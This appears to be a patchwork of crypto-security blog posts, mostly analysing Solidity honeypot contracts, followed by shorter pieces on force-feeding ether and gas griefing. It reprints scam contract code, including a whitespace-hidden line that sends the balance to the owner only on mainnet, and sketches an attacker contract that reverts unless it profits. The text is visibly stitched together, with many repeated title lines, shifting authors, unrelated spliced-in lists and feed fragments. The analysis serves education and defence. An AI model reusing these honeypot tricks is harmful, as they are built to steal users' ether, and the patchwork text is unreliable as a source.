Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

It’s interesting how one takes information as a given truth if the data comes from a familiar source. In this case EtherScan does not show the full picture of what happened. The assumption is that the transaction (or message call) should show up in internal transactions tab but it seems that calls from other contracts that have msg.value set to zero are not listed currently. Etherchain on the other hand shows the transaction (or message call) that called PassHasBeenSet() with the correct hash and so denying any future password reset. The attacker (in this case more of a victim) could have also been more careful and actually read the contract storage with Mythril for instance. It would have been apparent that passHasBeenSet is already set to true.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

honeypot3: TestToken

I have taken the trick from the honeypot contract WhaleGiveaway1 (see analysis) and combined it with one of my own ideas. The contract is available here on my Github. Something is missing here …

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

This contract relies on a very simple yet effective technique. It uses a lot of whitespaces to push some of the code to the right and out of the immediate visibility of the editor if horizontal scrolling is enabled (WhaleGiveaway1). When you try this locally in Remix and you purely rely on the scrolling technique like in WhaleGiveaway1 then the trick actually does not work. It would be effective if an attacker copies the code and is actually able to exploit the issue locally but then fails on the main net. This can be done using block numbers. Based on what network is used the block numbers vary significantly from the main net.

Ganache: starts from 0

Testrpc: starts from 1150000

Ropsten: a few weeks ago around 2596174

Main net: a few weeks ago around 5040270

Therefore the first if statement is only true on the main net and transfers all ETH to the owner. On the other networks the “invisible” code is not executed.

if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}}

EtherScan also had the horizontal scrolling enabled, but they deactivated it a few a few weeks ago.

TL;DR

Smart contract honeypot authors form a very interesting sub culture among a larger group of hackers trying to profit from vulnerable smart contracts. In general I would like to give anyone the following advice:

  • Be careful where you send your ETH, it could be a trap.
  • Be nice and don’t steal from people.

I have created a Github repo for honeypot smart contracts here. Should you have any honey pot contracts yourself that you want to share please feel free to push them to the repo or share them in the comments.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

Honeypot programs are one of the best tools that security researchers have ever made to study the new or unknown hacking techniques used by attackers. Therefore, using honeypots in smart contract could be a very good idea to study those attacks. So what is honeypot in smart contract?

Honeypots in the Blockchain industry is an intentionally vulnerable smart contract that was made to push attackers to exploit its vulnerability. The idea is to convince attackers or even simple users to send a small portion of cryptocurrency to the contract to exploit it, then lock those ethers in the contract. 

In this blog post, you are going to see some examples of those honeypots with a detailed technical explanation of how they work. So if you are interested to learn more about this subject just keep reading and leave a comment at the end.

What is honeypot in smart contract?

A honeypot is a smart contract that purports to leak cash to an arbitrary user due to a clear vulnerability in its code in exchange for extra payments from that user. The monies donated by the user to the vulnerable contract get then locked in the contract and only the honeypot designer or attacker will be able to recover them.

The concept of a honeypot is well known in the field of network security and was used for years by security research. The main objective of using them was to identify new or unknown exploits or techniques already used in the wild. In addition, Honeypots were used to identify zero-day vulnerabilities and report them to vendors. This technique was basically designed to trap black hat hackers and learn from them.

However, with the rise of Blockchain technology and the smart contract concept.

Blockchain is the new trending technology in the market, many companies start to implement it to solve multiple problems. Usually, this technology manages the different types of user information related to their money. Therefore, to secure this technology you should first understand how it works. Blockchain technology can be seen as a 6 layer system that works together. Therefore, what are the six layers of blockchain technology?

The Blockchain technology is built upon 6 main layers that are:

  1. The TCP/IP network
  2. Peer-to-Peer protocols
  3. Consensus algorithms
  4. Cryptography algorithms
  5. Execution (Data blocs, Transactions, …)
  6. Applications (Dapps, smart contracts …)
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

Black hat hackers started to use this concept to trap users both with good or bad intentions.


The idea is simple, the honeypot designer creates a smart contract and puts a clear vulnerability in it. Then hid a malicious code in its smart contract or between its transactions to block the right execution of the withdraw function. Then he deploys the contract and waits for other users to get into the trap.

Best 10 solidity smart contract audit tools that both developers and auditors use during their audit?

  1. Slither
  2. Securify
  3. SmartCheck
  4. Oyente
  5. Mythril
  6. ContractFuzzer
  7. Remix IDE static analysis plug-in
  8. Manticore
  9. sFuzz
  10. MadMax

Honestly, the honeypots concept in blockchain is just exploiting the greedy of users that cannot see the whole picture of the smart contract and does not dig deeper to understand the smart contract mechanism and code.

What actually makes this concept even more dangerous in the context of blockchain is that implementing a honeypot is not really difficult and does not require advanced skills. In fact, any user can implement a honeypot in the blockchain, all it needs is the actual fees to deploy such a contract in the blockchain.

In fact, in the blockchain, the word “attacker” could be given to both the one who deploys the smart contract honeypot and the one trying to exploit it (depending on his intention). Therefore, in the following sections of this blog post, we will use the word “deployer” to the one who implements the honeypot and “user” to the one trying to exploit that smart contract.

What are the types of smart contract honeypots?

Honeypots in smart contract can be divided into 3 main categories depending on the used techniques:

  • EVM based smart contract honeypots
  • Solidity compiler-based smart contract honeypots
  • Etherscan based smart contract honeypots

The main idea of honeypot in the network context is to supervise an intentionally vulnerable component to see how it can be exploited by hackers. However, in smart contract the main idea is to hide a behavior from users and trick them to send ether to gain more due to the vulnerability exploitation.

six things you should do to prevent using components with known vulnerabilities:

  • Use components from official repositories
  • Remove unused components
  • Only accept components with active support
  • Put a vulnerability management system for you components
  • Put in place a components firewall
  • Remove or replace components with a stopped support

Therefore, what actually defines each smart contract honeypot category is the used technique to hide that information from users.

The first category of smart contract honeypot is based on the way the EVM instruction is executed. It is true that the EVM follow an exact set of rules, however, some instruction requires a very good experience with the way EVM works to be able to detect the honeypot otherwise the user could easily be fooled.

The second category of smart contract honeypot is related to the solidity compiler. In other words, the smart contract honeypot builder should have a good experience with smart contract development and a deep understanding of how Solidity compiler would work. For example, the way inherence is managed by each version of the solidity compiler, or when overwriting variables or parameters would happen.

The third category of smart contract honeypot is based on hiding things from the users. Most users that try to exploit a program look for the easier way to do so (quick wins). Therefore, they may not take the time to analyze all parts of the vulnerable smart contract. This user behavior leads to locking his money in the smart contract. In this blog post, we are going to discuss 4 techniques used by deployers to hide an internal behavior from the users and therefore fool the user.


In my opinion the second category of honeypots is the most difficult to detect as it require a deep knowledge of the solidity compiler.

EVM based smart contract honeypots

The EVM-based smart contract honeypots have only one subtype called balance disorder. I think the best way to understand how this type of smart contract honeypots works, is by example. So take a look at the following example:

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

This example is taken from the following contract: https://etherscan.io/address/0x8b3e6e910dfd6b406f9f15962b3656e799f60d2b#code

A quick look at this function from a user, he can easily understand that if he sends while calling this function more than what the contract balance actually has, then everything in the contract plus what he sends will be sent back to him. Which is obviously a good deal.

However, what a user could miss in this quick analysis of the smart contract is that the contract balance will be incremented as soon as the function of the call is performed by the user. This means that the msg.value will always be lower than the contract balance no matter what you do. Therefore, the condition will never be true and the contract will be locked in this contract.

Another example of the balance disorder type of honeypot could be found here:

https://etherscan.io/address/0xf2cf114be39a48aa2321ed39c1f132da0c51e453

By visiting this link you can see that there is no source code out there. So there are two ways to analyze this contract. The first one and the most difficult is to get the bytecode of this smart contract and then try to understand and reverse engineer it. Or the second way is to try to decompile it using different tools available to get an intermediate and easy-to-understand source code.

I personally used the second technique to accelerate the analysis and simply used the Etherscan default decompile. In the smart contract you want to decompile you can click here:

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

And wait for a moment about 30 seconds to get the source code.

By taking a look at the source code, and especially at the “multiplicate” function you can now easily see the same logic as the previously explained example.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

The condition in line 24 will never be verified and the money will be stuck in the contract.

Solidity compiler-based smart contract honeypots

As I said, this category of smart contract honeypots is based on some deep knowledge about how the Solidity compiler works. In the following subsection, I will give you 4 techniques that are used to build this kind of smart contract honeypots. However, other unknown techniques might be used in the wild, and I will do my best to update this blog post whenever I found a new one. Please comment below and tell me if you know a technique that was not noted in this blog post.

Inheritance Disorder technique

One of the most confusing systems in solidity language or even in other programming languages is inheritance. A lot of hidden aspects in this concept could be used by deployer to fool the users and work contrary to what is expected.

In solidity language, a smart contract can implement the inheritance concept by using the word “is” followed by the different smart contract that this one wants to inherit their source code. Then only one smart contract is created and the source code from the other contracts is copied into it.

To better understand how such a mechanism could be exploited to create honeypots please take a look at the following examples:

Example1:

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

You can find this contract here: https://etherscan.io/address/0xd3bd3c8fb11429b0deee5301e72b66fba29782c0#code

If you take a look at this contract source code, you can easily notice that it has an obvious vulnerability related to access control. The function setup allows a user to change the owner of this contract without checking if he is the actual owner. Therefore, the user would be able to execute the withdraw function to get the money.

However, this analysis assumes that the isOwner() function inherited from the Ownable contract is going to check the local variable Owner.

Unfortunately, this is not what will actually happen. The inheritance creates a different variable for each contract even if they have the same name. The variable Ownable.Owner is totally different than the ICO.Owner. Therefore, when the user will call the setup() function, this one will change the value of ICO.Owner and not Ownable.Owner. This means that the result of the isOwner() will remain the same.

Example2

Another example of this same type of solidity compiler-based honeypot can be found here. The same logic applies to this smart contract. The Owner variable will not change by calling the setup() function.

Skip Empty String Literal

Another tricky behavior in solidity compiler that may not be very easy to discover is the skip empty string literal. The skip empty string literal problem happens in solidity when a function is called with an empty string as a parameter. This is a known bug in solidity compilers before 0.4.13 here is a reference for it.

The encoder skips the empty string literal “” when used as a parameter in a function call. As a result, the encoding of all subsequent arguments is moved left by 32 bytes, causing the function call data to be malformed.

This kind of honeypot could be easily detected, by just looking at the solidity compiler version and then scrolling down the source code to see if there is any use of the empty string in a function call. However, a knowledge of this bug is required to detect the problem in the smart contract.

Here is a simple example of this honeypot:

Check the following smart contract: https://etherscan.io/address/0x2b990227344300aded3a072b3bfb9878b209da0a#code

The source code is a little bit long so I will put just the most important functions:

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

In the divest() function line 83, the external function call to loggedTransfer() with the empty string will result in shifting the parameters by 32 bytes which leads to replacing the target address from msg.sender to the owner address. Therefore, the user will send the money to the owner of the contract and not his own address. This simply means that the user will never be able to retrieve the money he sent to this smart contract.

This behavior happens only in case of calling the function externally with the this.function().

Type Deduction Overflow

The Solidity compiler offers a nice feature that helps developers declare a variable without knowing exactly what type it would be. This could be made by creating a variable with the keyword “var” and the compiler will deduce what type is better for that result. However, this technique may cause a problem called type deduction overflow.

This problem could be used in a smart contract honeypot to cause a revert and then lock the money on the contract. To better illustrate this problem please take a look at the following source code:

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

You can check the whole code here:

https://etherscan.io/address/0x48493465a6a2d8db8616a3c7288a9f81d54a8835#code

In this contract the Double() function allow a user to double his money by first sending at least more than one ether and then looping to create the value of the ethers that will be sent to the user. This seems to be a nice and easy smart contract to exploit.

However, this contract loop will never reach even half of the value sent by the user. The reason behind this is the way the variable “i” is declared. The “var” keyword, will create a variable with a type of uint8 due to the 0 value affected to it in the beginning. The code should loop till it gets to msg.value which is a uint256 and the value would be more than 1 with 18 digits. However, the size of the “i” variable can only reach 255 then once incremented will get back to 0. Therefore, the loop will end and all that the user will receive is 255 wei.

Uninitialized Struct

The uninitialized structure is a common problem in solidity and could be seen both as a vulnerability and as a way to trick users. In this blog post, I am going to discuss the tricky part of this problem. However, if you want me to discuss how this could be a vulnerability, please comment below and I will be happy to make a blog post about it.

An uninitialized structure problem happens when a structure variable is not initialized at the moment of its creation. When a structure variable is not initialized in the same line as its creation with the keyword “new”, the solidity compiler point that variable to the first slot of the smart contract. This simply means the variable will be pointing to the first variable of the smart contract. Once the developer starts affecting values to the structure variable, the first element value of the structure will overwrite the first variable value.

This concept is used by smart contract honeypots deployer to trick users to send money to exploit an obvious vulnerability in it.

Here is an example of such a honeypot:

https://etherscan.io/address/0x29ed301f073f62acc13a2d3df64db4a3185f1433#code

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

This contract asks the user to guess a number while betting with some of his money. The secret value that a user is going to guess is stored in the first slot of the smart contract. For a quick analysis of this contract, the user would assume that the contract is vulnerable as even private variables could be seen in the Blockchain.

However, once the user will call the play() function and send money to it, the function will create a structure “game” in line 51 without correctly initializing it. This means that this structure variable will point to the first slot (variable secretNumber). In addition, the game.player will be the variable that will overwrite the secretNumber variable. Therefore, the user “would not” will not be able to correctly guess the number.

Actually, in this example, the honeypot could be bypassed to retrieve the money. If you take a look at the value affected to the game.player variable that overwrite the secretNumber. You will see that it is simply the sender’s address. Therefore, the value the user should send, is simply his address converted to decimals.


Most techniques used in this category of smart contract honeypots can easily be detected by users if they first try to compile and test their exploit in a local environment or a test chain. However, most of the time the vulnerabilities in those smart contracts are so easy to spot and exploit. Therefore, with a small portion of greediness and self-confidence, the users do not even think twice and directly execute their exploit on the mainnet.

Etherscan based smart contract honeypots

All the smart contracts that we have seen until now, exploit a solidity language gap of knowledge in the user. However, in this section of this blog post, the deployer exploits some features related to etherscan platform to hide some important information that may trick users.

Hidden State Update

The Etherscan platform helps developers and any Ethereum Blockchain user to debug his smart contract or track his transactions. Therefore, the platform display user’s transaction and internal messages that are performed by smart contracts. However, one of the features of Etherscan is that it does not show internal messages with an empty value.

Therefore, smart contract honeypot deployer exploit this feature to trick users and change the smart contract behavior. Here is an example to better understand this concept:

Check the following smart contract: https://etherscan.io/address/0x8bbf2d91e3c601df2c71c4ee98e87351922f8aa7#code

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

This contract might be used as a honeypot, as the user could be fooled by the initial value of the variable passHasBeenSet. By checking the Etherscan data he would not be able to see any transaction that has changed the value of passHasBeenSet. Therefore, he would assume that the value didn’t change and attempt to exploit the contract.

To do that, the user would try to exploit the contract by sending more than one ether to the contract using the GetGift() after setting the hashPass using SetPass() function.

However, the passHasBeenSet variable might be already changed by another contract and that would not be seen in the etherscan platform.

Straw Man Contract

This technique is built upon showing a source code for a contract that is not actually the one used by the contract. For example, the deployer could build a contract that requires another library and that that library address is initialized during the deployment of the contract or by calling a specific function.

At this stage, there is nothing that holds the deployer from using another contract address that is totally different than the one that the source code is displayed in Etherscan.

Unfortunately, this really a tricky honeypot and a really difficult technique to discover from a user. I mean the user should verify the addresses of the deployed contract and the different transactions and data passed to the contract to be able to find this issue. Moreover, even if the user tries to test this smart contract in a different contract, he will use the smart contract code displayed by the attacker and he will see a normal behavior. Which makes it even more difficult to find the issue.

Here is an example of such a honeypot, try to take a look at it and see what makes this smart contract a honeypot:

https://etherscan.io/address/0xdc5c87ba250b65a83042333f1101940b74312a65#code

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

Etherscan is an Ethereum blockchain explorer that, besides other features, allows developers to submit the code of the smart contracts they deploy. The main benefit of this feature is that it allows users to check what contracts do by reading their source code. Etherscan makes sure that the code matches the smart contract as deployed.

The list of verified contracts is long. As of this writing, Etherscan offers the source code for 26055 contracts, which can be browsed here.

On a lazy Sunday afternoon I decided to casually browse it to see what kind of contracts people were running and get a sense of what people use the blockchain for, and how well written and secure these contracts are. Most contracts I found implemented tokens, crowdsales, multi-signature wallets, ponzis, and.. honeypots!

Honeypot contracts are the most interesting findings to me. Such contracts hold ether, and pretend to do so insecurely. In short, they are scam contracts that try to fool you into thinking you can steal the ether they hold, while in fact all you can do is lose ether.

A common pattern they follow is, in order to retrieve the ether they hold, you must send them some ether of your own first. Of course, if you try that, you’re in for a nasty surprise: the smart contract eats up your ether, and you find out that the smart contract does not do what you thought it did.

In this post I will analyze a couple honeypot contracts I came across, and explain what they seem to do, but really do.

The not-really-insecure non-lottery

The first contract I will go through implements a lottery that, apparently, is horribly insecure and easy to steal from with a guaranteed win. I have come across several of these. The last instance I found is deployed at address 0x8685631276cfcf17a973d92f6dc11645e5158c0c, and its source code can be read here. I am copying the code below for convenience. Can you spot the bait? Can you tell why, if you try to exploit it, you will actually lose ether?

pragma solidity ^0.4.23;// CryptoRoulette
//
// Guess the number secretly stored in the blockchain and win the whole contract balance!
// A new number is randomly chosen after each try.
//
// To play, call the play() method with the guessed number (1-16). Bet price: 0.2 ethercontract CryptoRoulette {
uint256 private secretNumber;
uint256 public lastPlayed;
uint256 public betPrice = 0.001 ether;
address public ownerAddr; struct Game {
address player;
uint256 number;
}
Game[] public gamesPlayed; constructor() public {
ownerAddr = msg.sender;
shuffle();
} function shuffle() internal {
// randomly set secretNumber with a value between 1 and 10
secretNumber = 6;
} function play(uint256 number) payable public {
require(msg.value >= betPrice && number <= 10);
Game game;
game.player = msg.sender;
game.number = number;
gamesPlayed.push(game); if (number == secretNumber) {
// win!
msg.sender.transfer(this.balance);
} //shuffle();
lastPlayed = now;
} function kill() public {
if (msg.sender == ownerAddr && now > lastPlayed + 6 hours) {
suicide(msg.sender);
}
} function() public payable { }
}

It’s easy to tell that the shuffle() method sets secretNumber to 6. Hence, if you call play(6)and send it 0.001 ether, you will always win your ether plus whatever the balance of the contract is, namely 0.015 ether. Easy money, right? Wrong.

What’s the trick? Look closely at how play() is implemented. It declares a variable Game game, but does not initialize it. It will therefore default to a pointer to slot zero of the contract’s storage space. Then, it stores your address in its first member, storage slot 0, and the submitted number in the second one, that maps to storage slot 1. So, in practice, this will end up overwriting the contract’s secretNumber with the attacker account’s address, and lastPlayed with the number submitted.

Then, it will compare secretNumber, which is now your account’s address, with the number you submitted. Since you can only submit numbers smaller than 10, you can only win if your account’s address is within the range 0x0 to 0x0a. (Don’t bother trying to bruteforce-search for one account in that small range! Simply unfeasible.)

So, the comparison will fail, and the contract will keep your ether. Of course, the attacker can at any time call kill() to retrieve the ether.

The not-really-insecure non-riddle

This is another fun one. It had me scratching my head for a while. However, there is a huge giveaway that the contract is up to something nasty right away. But let’s not get ahead of ourselves.

Here is its code. Can you spot the supposed vulnerability? And, can you tell why an exploit won’t work? And what is the giveaway I was talking about?

contract G_GAME
{
function Play(string _response)
external
payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}

string public question;
address questionSender;
bytes32 responseHash;

function StartGame(string _question,string _response)
public
payable
{
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}

function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}

function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}

function() public payable{}
}

The code supposedly implements a riddle. It sets up a question, and, if you can tell what the answer is, it will presumably send you its balance, currently a little more than 1 ether. Of course, to produce an answer, you must send an ether first, which you will get back if you are correct. The code seems fine, but there is a dirty trick: notice how NewQuestion allows questionSender to submit a hash that does not match _question. So, as long as this function isn’t used, we should be alright.

Can we tell what the question and answer are? If you read the transaction history of the contract on etherscan, it appears that the 2nd transaction sets up the question. It’s even more obvious if you click the “Convert to UT8” button on etherscan. This reveals the question “I am very easy to get into,but it is hard to get out of me. What am I?”, and the answer “TroublE”.

Since this transaction is called, according to etherscan, after the creation of the contract, responseHash is going to be zero, and will become keccak265("TroublE"). Then, there is a third transaction that loads up one ether in the contract. So, apparently, we could call Play("TroublE") and send one ether to get two ether back. Too good to be true? Probably. Let’s make sure.

We can make sure we will the contract’s ether by inspecting the state of the smart contract. Its variables are not public, but still all it takes is just a few extra strokes to retrieve their values by querying the blockchain. questionSender and responseHash are the 2nd and 3rd variables, so they will occupy slots 1 and 2 on the storage space of the smart contract. Let’s retrieve their values.

web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 1, console.log);

The result is `0x0..0765951ab946f3a6f0379680a6b05fb807d52ba09`. That spells trouble (pun intended) for an attacker, since the transaction setting up the question came from an account starting with0x21d2. Something’s up.

web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 2, console.log);

The result is `0xc3fa7df9bf24…`. Is this the hash of “TroublE”?

web3.sha3('TroublE');

That call returns 0x92a930d5..., so it turns out that, if we were to call Play("TroublE") and send 1 ether, we’d actually lose it. But how is it possible that the hashes do not match?

Notice how StartGame does nothing if responseHash is already set. Clearly, that second transaction did not alter the state of the contract, so it must have already been set before this transaction. But how is it possible that responseHash was already initialized, if that was the first transaction after the creation of the contract?

After some serious head scratching, I found a recent interesting post on honeypot contracts that explains that Etherscan does not show transactions between contracts when msg.value is zero. Other blockchain explorers such as Etherchain do show them. Surely enough, etherchain reveals a couple additional transactions in the contract’s history, where a contract at 0x765951.. modifies responseHash via a zero-value transactions.

So let’s check these transactions; perhaps the ether can still be stolen? To track what happened, we need to decode these calls. We can get the contract’s ABI from Etherscan, and the internal transaction data from the “parity traces” of Etherchain (firstsecond). That’s all we need to decode the transactions into human readable format.

const abiDecoder = require('abi-decoder');
const Web3 = require('web3');
const web3 = new Web3();const abi = [{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_response”,”type”:”string”}],”name”:”StartGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_responseHash”,”type”:”bytes32"}],”name”:”NewQuestion”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:true,”inputs”:[],”name”:”question”,”outputs”:[{“name”:””,”type”:”string”}],”payable”:false,”stateMutability”:”view”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_response”,”type”:”string”}],”name”:”Play”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[],”name”:”StopGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“payable”:true,”stateMutability”:”payable”,”type”:”fallback”}];const data1 = '0x1f1c827f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000754726f75626c4500000000000000000000000000000000000000000000000000';const data2 = '0x3e3ee8590000000000000000000000000000000000000000000000000000000000000040c3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f906700000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000';abiDecoder.addABI(abi);
console.log(abiDecoder.decodeMethod(data1));
console.log(abiDecoder.decodeMethod(data2));

Running this code, we get the following result:

{ name: ‘StartGame’,
params: [ { name: ‘_question’,
value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’,
type: ‘string’ },
{ name: ‘_response’,
value: ‘TroublE’,
type: ‘string’ }
]
}
{ name: ‘NewQuestion’,
params: [ { name: ‘_question’,
value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’,
type: ‘string’ },
{ name: ‘_responseHash’,
value: ‘0xc3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f9067’,
type: ‘bytes32’ }
]
}

We learn that the first transaction sets the answer to keccak256("TroublE"), but the second one sets the answer to a hash value for which we don’t know the original data! Again it’s quite easy to miss that the second call does not use _question to compute the hash; instead, it’s set to an arbitrary value that does not match the string provided in the previous call, although the question does match.

So, unless we can find out a value that produces the given hash, possibly via a dictionary attack or a bruteforce search, we’re out of luck. And, given how sophisticated this honeypot is, I would assume trying to bruteforce the hash is not going to work out very well for us.

Unraveling this honeypot took quite some effort. Its creator is ultimately counting on attackers trusting the etherscan data, which does not contain the full picture.

The giveaway

I said this contract contains a dead giveaway that its creator is playing tricks. This is in this line:

require(msg.sender == tx.origin);

What this line achieves is, it prevents contracts from calling Play. This is because tx.origin is always an “external account”, and never a smart contract. Why is this useful for the attacker? A way to safely attack a contract is to call them from an “attack contract” that reverts execution if it didn’t gain ether from attack:

function attack() {
uint intialBalance = this.balance;
attack_contract();
require (this.balance > initialBalance);
}

This way, unless the attacker’s contract’s balance increases, the transaction fails altogether. The creator of the honeypot wants to prevent an attacker from using this trick to protect themselves.


Literature:


Conclusion

Honeypots are a moral grey area for me. Is it OK to scam those who are looking to steal from contracts? I don’t think so. But I do not feel very strongly about this. In the end, if you got scammed, it is because you were searching for smart contracts to steal from to begin with.

These scams play on the greed of people who are smart enough to figure out an apparent vulnerability in a contract, yet not knowledgeable enough to figure out what the underlying trap is.

If you want to get deeper into Smart Contract security, check this amazing wargame called Capture the Ether. It’s a fun way to hone your skills and train your eye for suspicious Solidity code.


GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/UrkOGyuuepE

Source: https://cryptodeeptools.ru/solidity-vulnerable-honeypots


Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
]]>
Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks https://cryptodeeptools.ru/solidity-forcibly-send-ether-vulnerability/ Sun, 04 Jun 2023 10:56:37 +0000 https://cryptodeeptools.ru/?p=2197

Earlier we touched on the topic: “Improving the overall security of the ecosystem from attacks on smart contracts”. In this article, we will continue to develop this painful topic of ecosystem security. Occasionally, it is unwanted for users to be able to send Ether to a smart contract. Unfortunately for these circumstances, it’s possible to bypass a contract fallback function and forcibly send Ether.

contract Vulnerable {
    function () payable {
        revert();
    }

    function somethingBad() {
        require(this.balance > 0);
        // Do something bad
    }
}

Though it seems like any transaction to the Vulnerable contract should be reverted, there are actually a couple ways to forcibly send Ether.

The first method is to call the selfdestruct method on a contract with the Vulnerable contract address set as the beneficiary. This works because selfdestruct will not trigger the fallback function.

Another method is to precompute a contract’s address and send Ether to the address before the contract is even deployed. Surprisingly enough, this is possible.

Force Feeding

Forcing a smart contract to hold an Ether balance can influence its internal accounting and security assumptions. There are multiple ways a smart contract can receive Ether. The hierarchy is as follows:

  1. Check whether a payable external receive function is defined.
  2. If not, check whether a payable external fallback function is defined.
  3. Revert.

The precedence of each function is explained in this great graphic from the Solidity by Example article:

Which function is called, fallback() or receive()?

           send Ether
               |
         msg.data is empty?
              / \
            yes  no
            /     \
receive() exists?  fallback()
         /   \
        yes   no
        /      \
    receive()   fallback()

Consider the following example:

pragma solidity ^0.8.13;

contract Vulnerable {
    receive() external payable {
        revert();
    }

    function somethingBad() external {
        require(address(this).balance > 0);
        // Do something bad
    }
}

The contract’s logic seemingly disallows direct payments and prevents “something bad” from happening. However, calling revert in both fallback and receive cannot prevent the contract from receiving Ether. The following techniques can be used to force-feed Ether to a smart contract.

Selfdestruct

When the SELFDESTRUCT opcode is called, funds of the calling address are sent to the address on the stack, and execution is immediately halted. Since this opcode works on the EVM-level, Solidity-level functions that might block the receipt of Ether will not be executed.

Pre-calculated Deployments

Additionally, the target address of newly deployed smart contracts is generated in a deterministic fashion. The address generation can be looked up in any EVM implementation, such as the py-evm reference implementation by the Ethereum Foundation:

def generate_contract_address(address: Address, nonce: int) -> Address:
    return force_bytes_to_address(keccak(rlp.encode([address, nonce])))

An attacker can send funds to this address before the deployment has happened. This is also illustrated by this 2017 Underhanded Solidity Contest submission.

Block Rewards and Coinbase

Depending on the attacker’s capabilities, they can also start proof-of-work mining. By setting the target address to their coinbase, block rewards will be added to its balance. As this is yet another EVM-level capability, checks performed by Solidity are ineffective.

Solution

The above effects illustrate that relying on exact comparisons to the contract’s Ether balance is unreliable. The smart contract’s business logic must consider that the actual balance associated with it can be higher than the internal accounting’s value.

In general, we strongly advise against using the contract’s balance as a guard.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Insufficient Gas Griefing

Griefing is a type of attack often performed in video games, where a malicious user plays a game in an unintended way to bother other players, also known as trolling. This type of attack is also used to prevent transactions from being performed as intended.

This attack can be done on contracts which accept data and use it in a sub-call on another contract. This method is often used in multisignature wallets as well as transaction relayers. If the sub-call fails, either the whole transaction is reverted, or execution is continued.

Let’s consider a simple relayer contract as an example. As shown below, the relayer contract allows someone to make and sign a transaction, without having to execute the transaction. Often this is used when a user can’t pay for the gas associated with the transaction.

contract Relayer {
    mapping (bytes => bool) executed;

    function relay(bytes _data) public {
        // replay protection; do not call the same transaction twice
        require(executed[_data] == 0, "Duplicate call");
        executed[_data] = true;
        innerContract.call(bytes4(keccak256("execute(bytes)")), _data);
    }
}

The user who executes the transaction, the ‘forwarder’, can effectively censor transactions by using just enough gas so that the transaction executes, but not enough gas for the sub-call to succeed.

There are two ways this could be prevented. The first solution would be to only allow trusted users to relay transactions. The other solution is to require that the forwarder provides enough gas, as seen below.

// contract called by Relayer
contract Executor {
    function execute(bytes _data, uint _gasLimit) {
        require(gasleft() >= _gasLimit);
        ...
    }
}

Griefing

This attack may be possible on a contract which accepts generic data and uses it to make a call another contract (a ‘sub-call’) via the low level address.call() function, as is often the case with multisignature and transaction relayer contracts.

If the call fails, the contract has two options:

  1. revert the whole transaction
  2. continue execution.

Take the following example of a simplified Relayer contract which continues execution regardless of the outcome of the subcall:

contract Relayer {
    mapping (bytes => bool) executed;

    function relay(bytes _data) public {
        // replay protection; do not call the same transaction twice
        require(executed[_data] == 0, "Duplicate call");
        executed[_data] = true;
        innerContract.call(bytes4(keccak256("execute(bytes)")), _data);
    }
}

This contract allows transaction relaying. Someone who wants to make a transaction but can’t execute it by himself (e.g. due to the lack of ether to pay for gas) can sign data that he wants to pass and transfer the data with his signature over any medium. A third party “forwarder” can then submit this transaction to the network on behalf of the user.

If given just the right amount of gas, the Relayer would complete execution recording the _dataargument in the executed mapping, but the subcall would fail because it received insufficient gas to complete execution.

